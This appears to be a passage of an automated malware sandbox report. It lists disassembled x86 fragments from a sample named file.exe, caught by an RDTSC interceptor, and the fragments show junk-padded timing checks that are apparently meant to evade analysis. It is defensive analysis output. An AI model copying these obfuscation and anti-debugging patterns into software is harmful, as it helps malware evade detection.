Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AAFC second address: 77AB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AB05 second address: 77AB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F85E0BBFC16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AF05 second address: 77AF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AF09 second address: 77AF0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AF0D second address: 77AF23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F85E0CFF5ECh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C866 second address: 77C86B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F114 second address: 77F119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C2FB second address: 68C301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0008 second address: 4FF000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF000E second address: 4FF003A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F85E0BBFC20h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov di, ax 0x00000016 mov eax, 61F4AAEFh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF003A second address: 4FF0089 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 36A6h 0x00000007 mov al, dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F85E0CFF5F6h 0x00000012 mov ebp, esp 0x00000014 jmp 00007F85E0CFF5F0h 0x00000019 xchg eax, ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F85E0CFF5F7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0089 second address: 4FF0128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F85E0BBFC27h 0x0000000e xchg eax, ecx 0x0000000f jmp 00007F85E0BBFC26h 0x00000014 xchg eax, esi 0x00000015 jmp 00007F85E0BBFC20h 0x0000001a push eax 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F85E0BBFC21h 0x00000022 jmp 00007F85E0BBFC1Bh 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F85E0BBFC27h 0x00000033 jmp 00007F85E0BBFC23h 0x00000038 popfd 0x00000039 mov ecx, 2F73480Fh 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0128 second address: 4FF013C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F85E0CFF5F0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF013C second address: 4FF0140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF01C5 second address: 4FF01C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF01C9 second address: 4FF01CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF01CF second address: 4FF01F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b pushad 0x0000000c movsx edx, cx 0x0000000f popad 0x00000010 je 00007F85E0CFF626h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF01F9 second address: 4FF01FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0220 second address: 4FF0226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0088 second address: 4FE00A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE00A8 second address: 4FE00FC instructions: 0x00000000 rdtsc 0x00000002 mov bx, EC1Ah 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push 428A0D20h 0x0000000e pushad 0x0000000f mov si, 30C3h 0x00000013 mov ch, 16h 0x00000015 popad 0x00000016 add dword ptr [esp], 33249128h 0x0000001d jmp 00007F85E0CFF5EBh 0x00000022 push 7E247699h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a jmp 00007F85E0CFF5F0h 0x0000002f call 00007F85E0CFF5F2h 0x00000034 pop ecx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE00FC second address: 4FE0101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0101 second address: 4FE0158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, 09F1D883h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 0B8D5DE9h 0x00000013 jmp 00007F85E0CFF5F6h 0x00000018 mov eax, dword ptr fs:[00000000h] 0x0000001e jmp 00007F85E0CFF5F0h 0x00000023 nop 0x00000024 pushad 0x00000025 movzx ecx, dx 0x00000028 mov dx, A28Eh 0x0000002c popad 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F85E0CFF5EBh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0158 second address: 4FE015E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE015E second address: 4FE0162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0162 second address: 4FE01E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d pushad 0x0000000e movzx esi, dx 0x00000011 call 00007F85E0BBFC27h 0x00000016 pop esi 0x00000017 popad 0x00000018 movsx ebx, si 0x0000001b popad 0x0000001c sub esp, 18h 0x0000001f pushad 0x00000020 mov cx, 82BDh 0x00000024 pushfd 0x00000025 jmp 00007F85E0BBFC1Ah 0x0000002a adc cl, FFFFFF98h 0x0000002d jmp 00007F85E0BBFC1Bh 0x00000032 popfd 0x00000033 popad 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F85E0BBFC24h 0x0000003c adc ch, FFFFFFF8h 0x0000003f jmp 00007F85E0BBFC1Bh 0x00000044 popfd 0x00000045 push ecx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE01E2 second address: 4FE01F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F85E0CFF5EEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE01F9 second address: 4FE02A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov eax, 1491622Bh 0x00000010 pushad 0x00000011 mov dx, ax 0x00000014 movzx eax, bx 0x00000017 popad 0x00000018 popad 0x00000019 push ebp 0x0000001a jmp 00007F85E0BBFC22h 0x0000001f mov dword ptr [esp], esi 0x00000022 jmp 00007F85E0BBFC20h 0x00000027 xchg eax, edi 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F85E0BBFC1Eh 0x0000002f xor cl, 00000048h 0x00000032 jmp 00007F85E0BBFC1Bh 0x00000037 popfd 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F85E0BBFC26h 0x0000003f sbb eax, 4F484DA8h 0x00000045 jmp 00007F85E0BBFC1Bh 0x0000004a popfd 0x0000004b mov di, ax 0x0000004e popad 0x0000004f popad 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F85E0BBFC20h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE02A0 second address: 4FE02E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F85E0CFF5F1h 0x00000009 or ecx, 713F1076h 0x0000000f jmp 00007F85E0CFF5F1h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, edi 0x0000001b pushad 0x0000001c mov cx, 44B9h 0x00000020 mov ebx, ecx 0x00000022 popad 0x00000023 mov eax, dword ptr [75AF4538h] 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE02E6 second address: 4FE02EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE02EA second address: 4FE02F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE02F0 second address: 4FE02FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F85E0BBFC1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE02FF second address: 4FE03B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [ebp-08h], eax 0x0000000e jmp 00007F85E0CFF5EEh 0x00000013 xor eax, ebp 0x00000015 pushad 0x00000016 movsx edi, si 0x00000019 jmp 00007F85E0CFF5F8h 0x0000001e popad 0x0000001f nop 0x00000020 jmp 00007F85E0CFF5F0h 0x00000025 push eax 0x00000026 jmp 00007F85E0CFF5EBh 0x0000002b nop 0x0000002c jmp 00007F85E0CFF5F6h 0x00000031 lea eax, dword ptr [ebp-10h] 0x00000034 jmp 00007F85E0CFF5F0h 0x00000039 mov dword ptr fs:[00000000h], eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 call 00007F85E0CFF5EDh 0x00000047 pop esi 0x00000048 mov dx, 9F54h 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE03B1 second address: 4FE03E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ax, B0B5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [ebp-18h], esp 0x0000000f jmp 00007F85E0BBFC20h 0x00000014 mov eax, dword ptr fs:[00000018h] 0x0000001a pushad 0x0000001b movsx ebx, ax 0x0000001e popad 0x0000001f mov ecx, dword ptr [eax+00000FDCh] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE03E7 second address: 4FE03EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE03EB second address: 4FE03FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE03FC second address: 4FE0401 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0401 second address: 4FE0407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0407 second address: 4FE048B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test ecx, ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F85E0CFF5EFh 0x00000010 add cx, 20AEh 0x00000015 jmp 00007F85E0CFF5F9h 0x0000001a popfd 0x0000001b push esi 0x0000001c mov si, dx 0x0000001f pop edi 0x00000020 popad 0x00000021 jns 00007F85E0CFF60Eh 0x00000027 jmp 00007F85E0CFF5F6h 0x0000002c add eax, ecx 0x0000002e jmp 00007F85E0CFF5F0h 0x00000033 mov ecx, dword ptr [ebp+08h] 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 call 00007F85E0CFF5EDh 0x0000003e pop eax 0x0000003f pushad 0x00000040 popad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD024E second address: 4FD02A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 mov cx, di 0x0000000a pop ebx 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F85E0BBFC26h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov edx, ecx 0x00000018 pushfd 0x00000019 jmp 00007F85E0BBFC28h 0x0000001e sub cl, 00000008h 0x00000021 jmp 00007F85E0BBFC1Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD02A0 second address: 4FD02CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F85E0CFF5EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD02CD second address: 4FD02EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov dx, cx 0x0000000f push eax 0x00000010 push edx 0x00000011 mov edi, ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD02EC second address: 4FD0336 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F85E0CFF5F2h 0x00000008 sub eax, 54EF8028h 0x0000000e jmp 00007F85E0CFF5EBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 sub esp, 2Ch 0x0000001a jmp 00007F85E0CFF5F6h 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0336 second address: 4FD033A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD033A second address: 4FD0357 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD03ED second address: 4FD03F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD03F5 second address: 4FD03FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD03FB second address: 4FD040D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD040D second address: 4FD043E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F85E0CFF5EBh 0x0000000a add ecx, 2F37A25Eh 0x00000010 jmp 00007F85E0CFF5F9h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD043E second address: 4FD050C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F85E0BBFC27h 0x00000009 adc eax, 3D0B7C6Eh 0x0000000f jmp 00007F85E0BBFC29h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F85E0BBFC20h 0x0000001b add ecx, 256967E8h 0x00000021 jmp 00007F85E0BBFC1Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a sub edi, edi 0x0000002c pushad 0x0000002d movsx ebx, cx 0x00000030 mov cx, 4BADh 0x00000034 popad 0x00000035 inc ebx 0x00000036 pushad 0x00000037 call 00007F85E0BBFC26h 0x0000003c pop esi 0x0000003d mov ebx, 12B5B642h 0x00000042 popad 0x00000043 test al, al 0x00000045 jmp 00007F85E0BBFC29h 0x0000004a je 00007F85E0BBFDEBh 0x00000050 pushad 0x00000051 mov edi, esi 0x00000053 popad 0x00000054 lea ecx, dword ptr [ebp-14h] 0x00000057 jmp 00007F85E0BBFC22h 0x0000005c mov dword ptr [ebp-14h], edi 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD050C second address: 4FD0512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0512 second address: 4FD0518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0518 second address: 4FD051C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0578 second address: 4FD057E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD057E second address: 4FD05B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F85E0CFF5F4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0631 second address: 4FD0636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0636 second address: 4FD0676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 pushfd 0x00000006 jmp 00007F85E0CFF5EEh 0x0000000b sbb ch, 00000068h 0x0000000e jmp 00007F85E0CFF5EBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 cmp dword ptr [ebp-14h], edi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F85E0CFF5F5h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0676 second address: 4FD067C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD067C second address: 4FD0680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0680 second address: 4FD0684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0684 second address: 4FD06A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F86517CD3F5h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F85E0CFF5F2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD06A6 second address: 4FD06AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD06AC second address: 4FD06FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+08h] 0x0000000e jmp 00007F85E0CFF5EEh 0x00000013 lea eax, dword ptr [ebp-2Ch] 0x00000016 pushad 0x00000017 push esi 0x00000018 mov dl, E3h 0x0000001a pop esi 0x0000001b movsx edx, si 0x0000001e popad 0x0000001f xchg eax, esi 0x00000020 jmp 00007F85E0CFF5EEh 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F85E0CFF5EEh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD06FC second address: 4FD0768 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F85E0BBFC24h 0x00000011 adc eax, 3D4DAB78h 0x00000017 jmp 00007F85E0BBFC1Bh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F85E0BBFC28h 0x00000023 xor cx, 45D8h 0x00000028 jmp 00007F85E0BBFC1Bh 0x0000002d popfd 0x0000002e popad 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov ah, bh 0x00000035 mov cl, 24h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0768 second address: 4FD076E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD076E second address: 4FD079B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F85E0BBFC1Bh 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edi 0x00000016 pop esi 0x00000017 mov dx, 9262h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD079B second address: 4FD0815 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 04E5h 0x00000007 pushfd 0x00000008 jmp 00007F85E0CFF5F2h 0x0000000d jmp 00007F85E0CFF5F5h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 xchg eax, ebx 0x00000017 pushad 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F85E0CFF5F9h 0x0000001f adc eax, 63A4CC46h 0x00000025 jmp 00007F85E0CFF5F1h 0x0000002a popfd 0x0000002b popad 0x0000002c push eax 0x0000002d pushad 0x0000002e popad 0x0000002f pop edx 0x00000030 popad 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 movzx eax, bx 0x00000038 mov dx, 2394h 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0856 second address: 4FD08A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F85E0BBFC28h 0x0000000c jmp 00007F85E0BBFC25h 0x00000011 popfd 0x00000012 popad 0x00000013 mov esi, eax 0x00000015 jmp 00007F85E0BBFC1Eh 0x0000001a test esi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov bl, A1h 0x00000021 movzx esi, di 0x00000024 popad 0x00000025 rdtsc
